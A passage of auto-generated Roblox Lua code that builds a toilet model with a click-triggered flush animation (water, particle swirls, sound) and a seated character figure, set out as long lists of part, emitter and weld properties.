CFrame.Angles(math.pi/2, 0, math.rad(12) * (i - 1)) * CFrame.new(0, -0.1, -0.1) wait() end end clickEvent.OnServerEvent:connect(function(player, part) local isPart = false for i = 1, #interactiveParts do if part == interactiveParts[i] then isPart = true end end if isPart and player.Character and distanceToCharacter(player, part) <= activationDistance then if flushing == false then flushing = true spawn(toiletHandle) sound:Play() for i, v in pairs(script.Parent:GetChildren()) do if v.Name == "WaterSwirl" then v.ParticleEmitter.Transparency = NumberSequence.new(0.9) v.ParticleEmitter.Rate = 40 end end for i = 1, 4 do water.CFrame = water.CFrame * CFrame.new(0, 0.01, 0) wait() end for i = 1, 22 do water.Mesh.Scale = water.Mesh.Scale + Vector3.new(-0.02, 0, -0.02) water.CFrame = water.CFrame * CFrame.new(0, -0.015, 0) wait() end if script.Parent.ToiletUsed.Value == true then water.BrickColor = BrickColor.new("Pastel yellow") end wait(1) for i = 1, 10 do print(i) for ii, v in pairs(script.Parent:GetChildren()) do if v.Name == "WaterSwirl" then v.ParticleEmitter.Transparency = NumberSequence.new(0.9 + (0.015 * i)) if i == 10 then v.ParticleEmitter.Rate = 0 end end end wait(0.2) end script.Parent.ToiletUsed.Value = false water.BrickColor = BrickColor.new("Fog") for i = 1, 66 do water.Mesh.Scale = water.Mesh.Scale + Vector3.new(0.0066, 0, 0.0066) water.CFrame = water.CFrame * CFrame.new(0, 0.00409, 0) wait() end water.CFrame = script.Parent.WaterResetPos.CFrame water.Mesh.Scale = Vector3.new(1,0,1) flushing = false end end end) end)) Part939.Name = "WaterResetPos" Part939.Parent = Model920 Part939.CFrame = CFrame.new(227.427353, 1.10000098, -134.084259, -0.707106769, 0, -0.707106769, 0, 1, 0, 0.707106769, 0, -0.707106769) Part939.Orientation = Vector3.new(0, -135, 0) Part939.Position = Vector3.new(227.427353, 1.10000098, -134.084259) Part939.Rotation = Vector3.new(-180, -45, -180) Part939.Color = Color3.new(0.780392, 0.831373, 0.894118) Part939.Transparency = 1 Part939.Size = Vector3.new(2, 0.200000003, 2) Part939.Anchored = true Part939.BottomSurface = Enum.SurfaceType.Smooth Part939.BrickColor = BrickColor.new("Fog") Part939.CanCollide = false Part939.Material = Enum.Material.Ice Part939.TopSurface = Enum.SurfaceType.Smooth Part939.brickColor = BrickColor.new("Fog") Part939.FormFactor = Enum.FormFactor.Custom Part939.formFactor = Enum.FormFactor.Custom ParticleEmitter940.Name = "SteamEmitter" ParticleEmitter940.Parent = Part939 ParticleEmitter940.Speed = NumberRange.new(0.5, 0.5) ParticleEmitter940.Enabled = false ParticleEmitter940.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter940.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter940.Lifetime = NumberRange.new(2, 4) ParticleEmitter940.Rate = 10 Part941.Name = "Water" Part941.Parent = Model920 Part941.CFrame = CFrame.new(227.427353, 1.10000098, -134.084259, -0.707106769, 0, -0.707106769, 0, 1, 0, 0.707106769, 0, -0.707106769) Part941.Orientation = Vector3.new(0, -135, 0) Part941.Position = Vector3.new(227.427353, 1.10000098, -134.084259) Part941.Rotation = Vector3.new(-180, -45, -180) Part941.Color = Color3.new(0.780392, 0.831373, 0.894118) Part941.Transparency = 0.60000002384186 Part941.Size = Vector3.new(2, 0.200000003, 2) Part941.Anchored = true Part941.BottomSurface = Enum.SurfaceType.Smooth Part941.BrickColor = BrickColor.new("Fog") Part941.CanCollide = false Part941.Material = Enum.Material.Ice Part941.TopSurface = Enum.SurfaceType.Smooth Part941.brickColor = BrickColor.new("Fog") Part941.FormFactor = Enum.FormFactor.Custom Part941.formFactor = Enum.FormFactor.Custom ParticleEmitter942.Name = "SteamEmitter" ParticleEmitter942.Parent = Part941 ParticleEmitter942.Speed = NumberRange.new(0.5, 0.5) ParticleEmitter942.Enabled = false ParticleEmitter942.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter942.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter942.Lifetime = NumberRange.new(2, 4) ParticleEmitter942.Rate = 10 CylinderMesh943.Parent = Part941 CylinderMesh943.Scale = Vector3.new(1, 0, 1) Sound944.Name = "FlushSound" Sound944.Parent = Part941 Sound944.EmitterSize = 0 Sound944.MinDistance = 0 Sound944.SoundId = "rbxassetid://367735596" Part945.Name = "WaterSwirl" Part945.Parent = Model920 Part945.CFrame = CFrame.new(228.063766, 1.50000298, -134.720673, -0.707106769, 0, -0.707106769, 0, 1, 0, 0.707106769, 0, -0.707106769) Part945.Orientation = Vector3.new(0, -135, 0) Part945.Position = Vector3.new(228.063766, 1.50000298, -134.720673) Part945.Rotation = Vector3.new(-180, -45, -180) Part945.Transparency = 1 Part945.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006) Part945.Anchored = true Part945.BottomSurface = Enum.SurfaceType.Smooth Part945.CanCollide = false Part945.TopSurface = Enum.SurfaceType.Smooth Part945.FormFactor = Enum.FormFactor.Custom Part945.formFactor = Enum.FormFactor.Custom ParticleEmitter946.Parent = Part945 ParticleEmitter946.Speed = NumberRange.new(-2, -2) ParticleEmitter946.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter946.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter946.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter946.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter946.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter946.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter946.LockedToPart = true ParticleEmitter946.Rate = 0 Weld947.Parent = Part945 Weld947.C0 = CFrame.new(0, 0.100000001, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld947.C1 = CFrame.new(0.900039673, -0.100000978, -0.299980164, 0.999999881, 0, 0, 0, 0, 1, 0, -0.999999881, 0) Weld947.Part0 = Part945 Weld947.Part1 = Seat930 Weld947.part1 = Seat930 Weld948.Parent = Part945 Weld948.C0 = CFrame.new(0, 0.100000001, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld948.C1 = CFrame.new(0.900024414, -0.100000978, -0.299987793, 1, 0, 0, 0, 0, 1, 0, -1, 0) Weld948.Part0 = Part945 Weld948.Part1 = Seat930 Weld948.part1 = Seat930 Weld949.Parent = Part945 Weld949.C0 = CFrame.new(0, 0.100000001, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld949.C1 = CFrame.new(0.900054932, -0.100000978, -0.299995422, 0.99999994, 0, 0, 0, 0, 1, 0, -0.99999994, 0) Weld949.Part0 = Part945 Weld949.Part1 = Seat930 Weld949.part1 = Seat930 Weld950.Parent = Part945 Weld950.C0 = CFrame.new(0, 0.100000001, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld950.C1 = CFrame.new(0.900024414, -0.100000978, -0.299987793, 1, 0, 0, 0, 0, 1, 0, -1, 0) Weld950.Part0 = Part945 Weld950.Part1 = Seat930 Weld950.part1 = Seat930 Part951.Name = "WaterSwirl" Part951.Parent = Model920 Part951.CFrame = CFrame.new(227.589584, 1.50000298, -135.07608, -0.258819014, 0, -0.965925813, 0, 1, -0, 0.965925813, 0, -0.258819014) Part951.Orientation = Vector3.new(0, -105, 0) Part951.Position = Vector3.new(227.589584, 1.50000298, -135.07608) Part951.Rotation = Vector3.new(180, -75, -180) Part951.Transparency = 1 Part951.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003) Part951.Anchored = true Part951.BottomSurface = Enum.SurfaceType.Smooth Part951.CanCollide = false Part951.TopSurface = Enum.SurfaceType.Smooth Part951.FormFactor = Enum.FormFactor.Custom Part951.formFactor = Enum.FormFactor.Custom ParticleEmitter952.Parent = Part951 ParticleEmitter952.Speed = NumberRange.new(-2, -2) ParticleEmitter952.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter952.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter952.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter952.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter952.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter952.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter952.LockedToPart = true ParticleEmitter952.Rate = 0 Part953.Name = "WaterSwirl" Part953.Parent = Model920 Part953.CFrame = CFrame.new(227.265076, 1.50000298, -133.092468, 0.258819014, 0, 0.965925813, 0, 1, 0, -0.965925813, 0, 0.258819014) Part953.Orientation = Vector3.new(0, 75, 0) Part953.Position = Vector3.new(227.265076, 1.50000298, -133.092468) Part953.Rotation = Vector3.new(0, 75, 0) Part953.Transparency = 1 Part953.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003) Part953.Anchored = true Part953.BottomSurface = Enum.SurfaceType.Smooth Part953.CanCollide = false Part953.TopSurface = Enum.SurfaceType.Smooth Part953.FormFactor = Enum.FormFactor.Custom Part953.formFactor = Enum.FormFactor.Custom ParticleEmitter954.Parent = Part953 ParticleEmitter954.Speed = NumberRange.new(-2, -2) ParticleEmitter954.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter954.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter954.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter954.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter954.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter954.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter954.LockedToPart = true ParticleEmitter954.Rate = 0 Part955.Name = "WaterSwirl" Part955.Parent = Model920 Part955.CFrame = CFrame.new(227.712006, 1.50000298, -133.021759, -0.258819073, 0, 0.965925694, 0, 1, 0, -0.965925694, 0, -0.258819073) Part955.Orientation = Vector3.new(0, 105, 0) Part955.Position = Vector3.new(227.712006, 1.50000298, -133.021759) Part955.Rotation = Vector3.new(-180, 75, -180) Part955.Transparency = 1 Part955.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006) Part955.Anchored = true Part955.BottomSurface = Enum.SurfaceType.Smooth Part955.CanCollide = false Part955.TopSurface = Enum.SurfaceType.Smooth Part955.FormFactor = Enum.FormFactor.Custom Part955.formFactor = Enum.FormFactor.Custom ParticleEmitter956.Parent = Part955 ParticleEmitter956.Speed = NumberRange.new(-2, -2) ParticleEmitter956.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter956.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter956.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter956.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter956.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter956.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter956.LockedToPart = true ParticleEmitter956.Rate = 0 Part957.Name = "WaterSwirl" Part957.Parent = Model920 Part957.CFrame = CFrame.new(227.14267, 1.50000298, -135.14679, 0.258819073, 0, -0.965925694, 0, 1, -0, 0.965925694, 0, 0.258819073) Part957.Orientation = Vector3.new(0, -75, 0) Part957.Position = Vector3.new(227.14267, 1.50000298, -135.14679) Part957.Rotation = Vector3.new(0, -75, 0) Part957.Transparency = 1 Part957.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006) Part957.Anchored = true Part957.BottomSurface = Enum.SurfaceType.Smooth Part957.CanCollide = false Part957.TopSurface = Enum.SurfaceType.Smooth Part957.FormFactor = Enum.FormFactor.Custom Part957.formFactor = Enum.FormFactor.Custom ParticleEmitter958.Parent = Part957 ParticleEmitter958.Speed = NumberRange.new(-2, -2) ParticleEmitter958.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter958.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter958.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter958.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter958.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter958.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter958.LockedToPart = true ParticleEmitter958.Rate = 0 Part959.Name = "WaterSwirl" Part959.Parent = Model920 Part959.CFrame = CFrame.new(226.649536, 1.50000298, -134.862106, 0.70710665, 0, -0.70710665, 0, 1, 0, 0.70710665, 0, 0.70710665) Part959.Orientation = Vector3.new(0, -45, 0) Part959.Position = Vector3.new(226.649536, 1.50000298, -134.862106) Part959.Rotation = Vector3.new(0, -45, 0) Part959.Transparency = 1 Part959.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006) Part959.Anchored = true Part959.BottomSurface = Enum.SurfaceType.Smooth Part959.CanCollide = false Part959.TopSurface = Enum.SurfaceType.Smooth Part959.FormFactor = Enum.FormFactor.Custom Part959.formFactor = Enum.FormFactor.Custom ParticleEmitter960.Parent = Part959 ParticleEmitter960.Speed = NumberRange.new(-2, -2) ParticleEmitter960.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter960.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter960.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter960.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter960.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter960.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter960.LockedToPart = true ParticleEmitter960.Rate = 0 Part961.Name = "WaterSwirl" Part961.Parent = Model920 Part961.CFrame = CFrame.new(228.205109, 1.50000298, -133.306442, -0.70710665, 0, 0.70710665, 0, 1, 0, -0.70710665, 0, -0.70710665) Part961.Orientation = Vector3.new(0, 135, 0) Part961.Position = Vector3.new(228.205109, 1.50000298, -133.306442) Part961.Rotation = Vector3.new(-180, 45, -180) Part961.Transparency = 1 Part961.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006) Part961.Anchored = true Part961.BottomSurface = Enum.SurfaceType.Smooth Part961.CanCollide = false Part961.TopSurface = Enum.SurfaceType.Smooth Part961.FormFactor = Enum.FormFactor.Custom Part961.formFactor = Enum.FormFactor.Custom ParticleEmitter962.Parent = Part961 ParticleEmitter962.Speed = NumberRange.new(-2, -2) ParticleEmitter962.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter962.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter962.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter962.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter962.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter962.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter962.LockedToPart = true ParticleEmitter962.Rate = 0 Part963.Name = "WaterSwirl" Part963.Parent = Model920 Part963.CFrame = CFrame.new(228.489838, 1.50000298, -133.799576, -0.965925634, 0, 0.258818924, 0, 1, 0, -0.258818924, 0, -0.965925634) Part963.Orientation = Vector3.new(0, 165, 0) Part963.Position = Vector3.new(228.489838, 1.50000298, -133.799576) Part963.Rotation = Vector3.new(-180, 15, -180) Part963.Transparency = 1 Part963.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006) Part963.Anchored = true Part963.BottomSurface = Enum.SurfaceType.Smooth Part963.CanCollide = false Part963.TopSurface = Enum.SurfaceType.Smooth Part963.FormFactor = Enum.FormFactor.Custom Part963.formFactor = Enum.FormFactor.Custom ParticleEmitter964.Parent = Part963 ParticleEmitter964.Speed = NumberRange.new(-2, -2) ParticleEmitter964.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter964.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter964.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter964.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter964.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter964.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter964.LockedToPart = true ParticleEmitter964.Rate = 0 Part965.Name = "WaterSwirl" Part965.Parent = Model920 Part965.CFrame = CFrame.new(226.364822, 1.50000298, -134.368988, 0.965925634, 0, -0.258818924, 0, 1, 0, 0.258818924, 0, 0.965925634) Part965.Orientation = Vector3.new(0, -15, 0) Part965.Position = Vector3.new(226.364822, 1.50000298, -134.368988) Part965.Rotation = Vector3.new(0, -15, 0) Part965.Transparency = 1 Part965.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006) Part965.Anchored = true Part965.BottomSurface = Enum.SurfaceType.Smooth Part965.CanCollide = false Part965.TopSurface = Enum.SurfaceType.Smooth Part965.FormFactor = Enum.FormFactor.Custom Part965.formFactor = Enum.FormFactor.Custom ParticleEmitter966.Parent = Part965 ParticleEmitter966.Speed = NumberRange.new(-2, -2) ParticleEmitter966.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter966.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter966.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter966.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter966.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter966.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter966.LockedToPart = true ParticleEmitter966.Rate = 0 Part967.Name = "WaterSwirl" Part967.Parent = Model920 Part967.CFrame = CFrame.new(228.419144, 1.50000298, -134.246475, -0.965925574, 0, -0.258819014, 0, 1, 0, 0.258819014, 0, -0.965925574) Part967.Orientation = Vector3.new(0, -165, 0) Part967.Position = Vector3.new(228.419144, 1.50000298, -134.246475) Part967.Rotation = Vector3.new(-180, -15, -180) Part967.Transparency = 1 Part967.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003) Part967.Anchored = true Part967.BottomSurface = Enum.SurfaceType.Smooth Part967.CanCollide = false Part967.TopSurface = Enum.SurfaceType.Smooth Part967.FormFactor = Enum.FormFactor.Custom Part967.formFactor = Enum.FormFactor.Custom ParticleEmitter968.Parent = Part967 ParticleEmitter968.Speed = NumberRange.new(-2, -2) ParticleEmitter968.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter968.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter968.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter968.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter968.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter968.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter968.LockedToPart = true ParticleEmitter968.Rate = 0 Part969.Name = "WaterSwirl" Part969.Parent = Model920 Part969.CFrame = CFrame.new(226.435532, 1.50000298, -133.922073, 0.965925574, 0, 0.258819014, 0, 1, 0, -0.258819014, 0, 0.965925574) Part969.Orientation = Vector3.new(0, 15, 0) Part969.Position = Vector3.new(226.435532, 1.50000298, -133.922073) Part969.Rotation = Vector3.new(0, 15, 0) Part969.Transparency = 1 Part969.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003) Part969.Anchored = true Part969.BottomSurface = Enum.SurfaceType.Smooth Part969.CanCollide = false Part969.TopSurface = Enum.SurfaceType.Smooth Part969.FormFactor = Enum.FormFactor.Custom Part969.formFactor = Enum.FormFactor.Custom ParticleEmitter970.Parent = Part969 ParticleEmitter970.Speed = NumberRange.new(-2, -2) ParticleEmitter970.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter970.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter970.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter970.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter970.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter970.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter970.LockedToPart = true ParticleEmitter970.Rate = 0 Part971.Name = "WaterSwirl" Part971.Parent = Model920 Part971.CFrame = CFrame.new(226.790909, 1.50000298, -133.447876, 0.707106769, 0, 0.707106769, 0, 1, 0, -0.707106769, 0, 0.707106769) Part971.Orientation = Vector3.new(0, 45, 0) Part971.Position = Vector3.new(226.790909, 1.50000298, -133.447876) Part971.Rotation = Vector3.new(0, 45, 0) Part971.Transparency = 1 Part971.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006) Part971.Anchored = true Part971.BottomSurface = Enum.SurfaceType.Smooth Part971.CanCollide = false Part971.TopSurface = Enum.SurfaceType.Smooth Part971.FormFactor = Enum.FormFactor.Custom Part971.formFactor = Enum.FormFactor.Custom ParticleEmitter972.Parent = Part971 ParticleEmitter972.Speed = NumberRange.new(-2, -2) ParticleEmitter972.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1)) ParticleEmitter972.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter972.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814) ParticleEmitter972.Size = NumberSequence.new(0.20000000298023,0.20000000298023) ParticleEmitter972.Acceleration = Vector3.new(20, 0, 10) ParticleEmitter972.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093) ParticleEmitter972.LockedToPart = true ParticleEmitter972.Rate = 0 UnionOperation973.Name = "Lid" UnionOperation973.Parent = Model920 UnionOperation973.CFrame = CFrame.new(228.700134, 3.1499989, -132.811462, 0.707106769, 0, 0.707106769, 0, 1, 0, -0.707106769, 0, 0.707106769) UnionOperation973.Orientation = Vector3.new(0, 45, 0) UnionOperation973.Position = Vector3.new(228.700134, 3.1499989, -132.811462) UnionOperation973.Rotation = Vector3.new(0, 45, 0) UnionOperation973.Color = Color3.new(0.898039, 0.894118, 0.87451) UnionOperation973.Size = Vector3.new(2.20000601, 0.30000031, 1.00000167) UnionOperation973.Anchored = true UnionOperation973.BrickColor = BrickColor.new("Light stone grey") UnionOperation973.Material = Enum.Material.SmoothPlastic UnionOperation973.brickColor = BrickColor.new("Light stone grey") UnionOperation973.UsePartColor = true BoolValue974.Name = "ToiletUsed" BoolValue974.Parent = Model920 Model975.Name = "Let Me Read In Peace" Model975.Parent = Model919 Part976.Name = "Left Arm" Part976.Parent = Model975 Part976.CFrame = CFrame.new(226.52829, 4.1090579, -132.935974, 0.772760153, 0.400474012, 0.492403626, 0.166364402, 0.620878816, -0.766049206, -0.612505794, 0.673891485, 0.413165987) Part976.Orientation = Vector3.new(50, 50, 15) Part976.Position = Vector3.new(226.52829, 4.1090579, -132.935974) Part976.Rotation = Vector3.new(61.6599998, 29.5, -27.3899994) Part976.Color = Color3.new(0.960784, 0.803922, 0.188235) Part976.Size = Vector3.new(1, 2, 1) Part976.BottomSurface = Enum.SurfaceType.Smooth Part976.BrickColor = BrickColor.new("Bright yellow") Part976.CanCollide = false Part976.TopSurface = Enum.SurfaceType.Smooth Part976.brickColor = BrickColor.new("Bright yellow") Part976.FormFactor = Enum.FormFactor.Symmetric Part976.formFactor = Enum.FormFactor.Symmetric Part977.Name = "Right Leg" Part977.Parent = Model975 Part977.CFrame = CFrame.new(227.73938, 2.19995904, -134.2108, 0.764021397, 0.631337583, 0.133019716, 0.0301533584, 0.171005115, -0.984808624, -0.644493341, 0.75642544, 0.111614093) Part977.Orientation = Vector3.new(80, 50, 10) Part977.Position = Vector3.new(227.73938, 2.19995904, -134.2108) Part977.Rotation = Vector3.new(83.5299988, 7.63999987, -39.5699997) Part977.Color = Color3.new(0.643137, 0.741176, 0.278431) Part977.Size = Vector3.new(1, 2, 1) Part977.BottomSurface = Enum.SurfaceType.Smooth Part977.BrickColor = BrickColor.new("Br. yellowish green") Part977.CanCollide = false Part977.TopSurface = Enum.SurfaceType.Smooth Part977.brickColor = BrickColor.new("Br. yellowish green") Part977.FormFactor = Enum.FormFactor.Symmetric Part977.formFactor = Enum.FormFactor.Symmetric Part978.Name = "HumanoidRootPart" Part978.Parent = Model975 Part978.CFrame = CFrame.new(227.417984, 4.19995785, -133.827774, 0.642778575, -0.133023694, 0.754414201, -3.04823828e-07, 0.984808028, 0.173648596, -0.766052186, -0.111617811, 0.633013248) Part978.Orientation = Vector3.new(-10, 50, 0) Part978.Position = Vector3.new(227.417984, 4.19995785, -133.827774) Part978.Rotation = Vector3.new(-15.3400002, 48.9700012, 11.6899996) Part978.Transparency = 1 Part978.Size = Vector3.new(2, 2, 1) Part978.BottomSurface = Enum.SurfaceType.Smooth Part978.TopSurface = Enum.SurfaceType.Smooth Part978.FormFactor = Enum.FormFactor.Symmetric Part978.formFactor = Enum.FormFactor.Symmetric Part979.Name = "Torso" Part979.Parent = Model975 Part979.CFrame = CFrame.new(227.877625, 3.7999599, -133.442108, 0.642781138, 0, 0.76604706, 0, 1, 0, -0.766049862, 0, 0.642783344) Part979.Orientation = Vector3.new(0, 50, 0) Part979.Position = Vector3.new(227.877625, 3.7999599, -133.442108) Part979.Rotation = Vector3.new(0, 50, 0) Part979.Color = Color3.new(0.129412, 0.329412, 0.72549) Part979.Size = Vector3.new(2, 2, 1) Part979.BottomSurface = Enum.SurfaceType.Smooth Part979.BrickColor = BrickColor.new("Deep blue") Part979.CanCollide = false Part979.TopSurface = Enum.SurfaceType.Smooth Part979.brickColor = BrickColor.new("Deep blue") Part979.FormFactor = Enum.FormFactor.Symmetric Part979.formFactor = Enum.FormFactor.Symmetric Humanoid980.Parent = Model975 Humanoid980.LeftLeg = Part981 Humanoid980.NameOcclusion = Enum.NameOcclusion.NoOcclusion Humanoid980.RightLeg = Part977 Humanoid980.Torso = Part978 Part981.Name = "Left Leg" Part981.Parent = Model975 Part981.CFrame = CFrame.new(227.096588, 2.19995999, -133.444748, 0.500498474, 0.863162577, 0.0667461827, -0.0151304482, 0.0858063996, -0.996198654, -0.865606844, 0.497585118, 0.0560061596) Part981.Orientation = Vector3.new(85, 50, -10) Part981.Position = Vector3.new(227.096588, 2.19995999, -133.444748) Part981.Rotation = Vector3.new(86.7799988, 3.82999992, -59.8899994) Part981.Color = Color3.new(0.643137, 0.741176, 0.278431) Part981.Size = Vector3.new(1, 2, 1) Part981.BottomSurface = Enum.SurfaceType.Smooth Part981.BrickColor = BrickColor.new("Br. yellowish green") Part981.CanCollide = false Part981.TopSurface = Enum.SurfaceType.Smooth Part981.brickColor = BrickColor.new("Br. yellowish green") Part981.FormFactor = Enum.FormFactor.Symmetric Part981.formFactor = Enum.FormFactor.Symmetric Part982.Name = "Right Arm" Part982.Parent = Model975 Part982.CFrame = CFrame.new(228.17215, 4.08524704, -134.826065, 0.554039955, 0.791243672, -0.258791089, -0.819149613, 0.573579609, -2.85867941e-06, 0.148434982, 0.211990148, 0.965933323) Part982.Orientation = Vector3.new(0, -15, -55) Part982.Position = Vector3.new(228.17215, 4.08524704, -134.826065) Part982.Rotation = Vector3.new(0, -15, -55) Part982.Color = Color3.new(0.960784, 0.803922, 0.188235) Part982.Size = Vector3.new(1, 2, 1) Part982.BottomSurface = Enum.SurfaceType.Smooth Part982.BrickColor = BrickColor.new("Bright yellow") Part982.CanCollide = false Part982.TopSurface = Enum.SurfaceType.Smooth Part982.brickColor = BrickColor.new("Bright yellow") Part982.FormFactor = Enum.FormFactor.Symmetric Part982.formFactor = Enum.FormFactor.Symmetric Part983.Name = "Head" Part983.Parent = Model975 Part983.CFrame = CFrame.new(227.877625, 5.29996014, -133.442108, 0.642781734, -0.198270977, 0.739953756, -2.96882234e-07, 0.965935051, 0.258821249, -0.766055584, -0.166365385, 0.620879412) Part983.Orientation = Vector3.new(-15, 50, 0) Part983.Position = Vector3.new(227.877625, 5.29996014, -133.442108) Part983.Rotation = Vector3.new(-22.6299992, 47.7299995, 17.1399994) Part983.Color = Color3.new(0.960784, 0.803922, 0.188235) Part983.Size = Vector3.new(2, 1, 1) Part983.BottomSurface = Enum.SurfaceType.Smooth Part983.BrickColor = BrickColor.new("Bright yellow") Part983.TopSurface = Enum.SurfaceType.Smooth Part983.brickColor = BrickColor.new("Bright yellow") Part983.FormFactor = Enum.FormFactor.Symmetric Part983.formFactor = Enum.FormFactor.Symmetric Decal984.Name = "Face" Decal984.Parent = Part983 Decal984.Texture = "rbxasset://textures/face.png" SpecialMesh985.Parent = Part983 SpecialMesh985.Scale = Vector3.new(1.25, 1.25, 1.25) UnionOperation986.Parent = Model975 UnionOperation986.CFrame = CFrame.new(226.245941, 3.80646205, -134.657852, 0.500497699, 0.0841549784, 0.86163795, -0.015130356, 0.995962441, -0.0884855762, -0.865605593, 0.0312499087, 0.499750227) UnionOperation986.Orientation = Vector3.new(5.07999992, 59.8899994, -0.870000005) UnionOperation986.Position = Vector3.new(226.245941, 3.80646205, -134.657852) UnionOperation986.Rotation = Vector3.new(10.04, 59.5, -9.53999996) UnionOperation986.Color = Color3.new(0.803922, 0.803922, 0.803922) UnionOperation986.Size = Vector3.new(1.4000001, 0.050210081, 2) UnionOperation986.Anchored = true UnionOperation986.BrickColor = BrickColor.new("Mid gray") UnionOperation986.brickColor = BrickColor.new("Mid gray") Decal987.Parent = UnionOperation986 Decal987.Texture = "http://www.roblox.com/asset/?id=292746467" Decal987.Face = Enum.NormalId.Top 